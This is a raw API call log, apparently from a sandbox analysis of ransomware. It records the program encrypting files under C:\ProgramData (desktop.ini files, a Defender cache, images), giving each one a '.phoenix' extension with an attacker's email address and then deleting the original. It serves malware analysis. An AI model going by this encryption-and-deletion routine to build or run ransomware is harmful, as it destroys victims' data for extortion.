	[0247.854] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0247.854] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0247.854] CloseHandle (hObject=0x2b4) returned 1
	[0247.854] CloseHandle (hObject=0x2e8) returned 1
	[0247.881] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\desktop.ini")) returned 1
	[0247.955] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0247.955] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.955] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1476) returned 1
	[0247.955] CloseHandle (hObject=0x2b0) returned 1
	[0247.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\desktop.ini")) returned 0x26
	[0247.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.956] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.956] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0247.956] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0247.956] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.314] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151600) returned 1
	[0248.314] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0248.314] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x5c4, lpOverlapped=0x0) returned 1
	[0248.315] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x5d0, dwBufLen=0x5d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x5d0) returned 1
	[0248.315] WriteFile (in: hFile=0x2b4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x5d0, lpOverlapped=0x0) returned 1
	[0248.316] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151640) returned 1
	[0248.316] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0248.316] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0248.316] CryptDestroyKey (hKey=0x151640) returned 1
	[0248.316] WriteFile (in: hFile=0x2b4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0248.316] CryptDestroyKey (hKey=0x151600) returned 1
	[0248.316] CloseHandle (hObject=0x2b0) returned 1
	[0248.316] CloseHandle (hObject=0x2b4) returned 1
	[0248.659] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\desktop.ini")) returned 1
	[0248.668] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0248.668] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0248.668] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2598) returned 1
	[0248.668] CloseHandle (hObject=0x2f0) returned 1
	[0248.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\desktop.ini")) returned 0x26
	[0248.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.668] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0248.668] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0248.668] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0248.668] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.673] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151440) returned 1
	[0248.673] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0248.673] ReadFile (in: hFile=0x2f0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xa26, lpOverlapped=0x0) returned 1
	[0248.673] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa30, dwBufLen=0xa30 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa30) returned 1
	[0248.673] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xa30, lpOverlapped=0x0) returned 1
	[0248.674] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151640) returned 1
	[0248.674] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0248.674] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0248.674] CryptDestroyKey (hKey=0x151640) returned 1
	[0248.674] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0248.674] CryptDestroyKey (hKey=0x151440) returned 1
	[0248.674] CloseHandle (hObject=0x2f0) returned 1
	[0248.674] CloseHandle (hObject=0x2e8) returned 1
	[0248.686] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\desktop.ini")) returned 1
	[0248.694] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0248.694] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0248.972] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=170) returned 1
	[0248.972] CloseHandle (hObject=0x2f0) returned 1
	[0248.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\desktop.ini")) returned 0x26
	[0248.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.972] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0248.972] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0248.972] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0248.973] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0248.973] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1517c0) returned 1
	[0248.973] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0248.973] ReadFile (in: hFile=0x2f0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xaa, lpOverlapped=0x0) returned 1
	[0248.975] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0248.975] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xb0, lpOverlapped=0x0) returned 1
	[0248.977] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151600) returned 1
	[0248.977] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0248.977] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0248.977] CryptDestroyKey (hKey=0x151600) returned 1
	[0248.977] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0248.977] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0248.977] CloseHandle (hObject=0x2f0) returned 1
	[0248.977] CloseHandle (hObject=0x2c4) returned 1
	[0248.977] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\desktop.ini")) returned 1
	[0248.978] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0248.978] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0249.314] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=10661015) returned 1
	[0249.315] CloseHandle (hObject=0x2b0) returned 1
	[0249.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin")) returned 0x20
	[0249.315] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 1
	[0249.319] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0249.319] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f768 | out: lpNewFilePointer=0x0) returned 1
	[0249.319] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f768 | out: lpNewFilePointer=0x0) returned 1
	[0249.319] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x308f774, lpOverlapped=0x0 | out: lpBuffer=0x34d5058*, lpNumberOfBytesRead=0x308f774*=0x40000, lpOverlapped=0x0) returned 1
	[0249.430] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x363987, lpNewFilePointer=0x0, dwMoveMethod=0x308f768 | out: lpNewFilePointer=0x0) returned 1
	[0249.430] ReadFile (in: hFile=0x2b0, lpBuffer=0x3515058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x308f774, lpOverlapped=0x0 | out: lpBuffer=0x3515058*, lpNumberOfBytesRead=0x308f774*=0x40000, lpOverlapped=0x0) returned 1
	[0249.448] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x9eac97, lpNewFilePointer=0x0, dwMoveMethod=0x308f768 | out: lpNewFilePointer=0x0) returned 1
	[0249.448] ReadFile (in: hFile=0x2b0, lpBuffer=0x3555058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x308f774, lpOverlapped=0x0 | out: lpBuffer=0x3555058*, lpNumberOfBytesRead=0x308f774*=0x40000, lpOverlapped=0x0) returned 1
	[0249.483] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f758, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7c4 | out: phKey=0x308f7c4*=0x151600) returned 1
	[0249.483] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0249.483] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f778*=0xc00b0, dwBufLen=0xc00b0 | out: pbData=0x34d5020*, pdwDataLen=0x308f778*=0xc00b0) returned 1
	[0249.485] CryptDestroyKey (hKey=0x151600) returned 1
	[0249.485] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f7a0 | out: lpNewFilePointer=0x0) returned 1
	[0249.485] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0162, lpNumberOfBytesWritten=0x308f7b0, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b0*=0xc0162, lpOverlapped=0x0) returned 1
	[0249.496] SetEndOfFile (hFile=0x2b0) returned 1
	[0249.496] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x9eac97, lpNewFilePointer=0x0, dwMoveMethod=0x308f770 | out: lpNewFilePointer=0x0) returned 1
	[0249.496] WriteFile (in: hFile=0x2b0, lpBuffer=0x359519a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x308f77c, lpOverlapped=0x0 | out: lpBuffer=0x359519a*, lpNumberOfBytesWritten=0x308f77c*=0x40000, lpOverlapped=0x0) returned 1
	[0249.498] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x363987, lpNewFilePointer=0x0, dwMoveMethod=0x308f770 | out: lpNewFilePointer=0x0) returned 1
	[0249.506] WriteFile (in: hFile=0x2b0, lpBuffer=0x359519a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x308f77c, lpOverlapped=0x0 | out: lpBuffer=0x359519a*, lpNumberOfBytesWritten=0x308f77c*=0x40000, lpOverlapped=0x0) returned 1
	[0249.508] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f770 | out: lpNewFilePointer=0x0) returned 1
	[0249.508] WriteFile (in: hFile=0x2b0, lpBuffer=0x359519a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x308f77c, lpOverlapped=0x0 | out: lpBuffer=0x359519a*, lpNumberOfBytesWritten=0x308f77c*=0x40000, lpOverlapped=0x0) returned 1
	[0249.509] CloseHandle (hObject=0x2b0) returned 1
	[0249.509] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0249.509] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png" (normalized: "c:\\programdata\\microsoft\\windows live\\wlive48x48.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0249.612] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4657) returned 1
	[0249.612] CloseHandle (hObject=0x2e8) returned 1
	[0249.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png" (normalized: "c:\\programdata\\microsoft\\windows live\\wlive48x48.png")) returned 0x20
	[0249.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows live\\wlive48x48.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.613] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png" (normalized: "c:\\programdata\\microsoft\\windows live\\wlive48x48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0249.613] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0249.613] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0249.613] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows live\\wlive48x48.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0249.613] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1513c0) returned 1
	[0249.613] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0249.613] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1231, lpOverlapped=0x0) returned 1
	[0249.662] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1240, dwBufLen=0x1240 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1240) returned 1
	[0249.662] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1240, lpOverlapped=0x0) returned 1
	[0249.663] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151440) returned 1
	[0249.663] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0249.663] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0249.663] CryptDestroyKey (hKey=0x151440) returned 1
	[0249.663] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0249.663] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0249.663] CloseHandle (hObject=0x2e8) returned 1
	[0249.663] CloseHandle (hObject=0x2b0) returned 1
	[0249.663] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png" (normalized: "c:\\programdata\\microsoft\\windows live\\wlive48x48.png")) returned 1
	[0249.664] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0249.664] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" (normalized: "c:\\programdata\\microsoft\\windows nt\\msscan\\welcomescan.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0249.696] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=516424) returned 1
	[0249.696] CloseHandle (hObject=0x2d8) returned 1
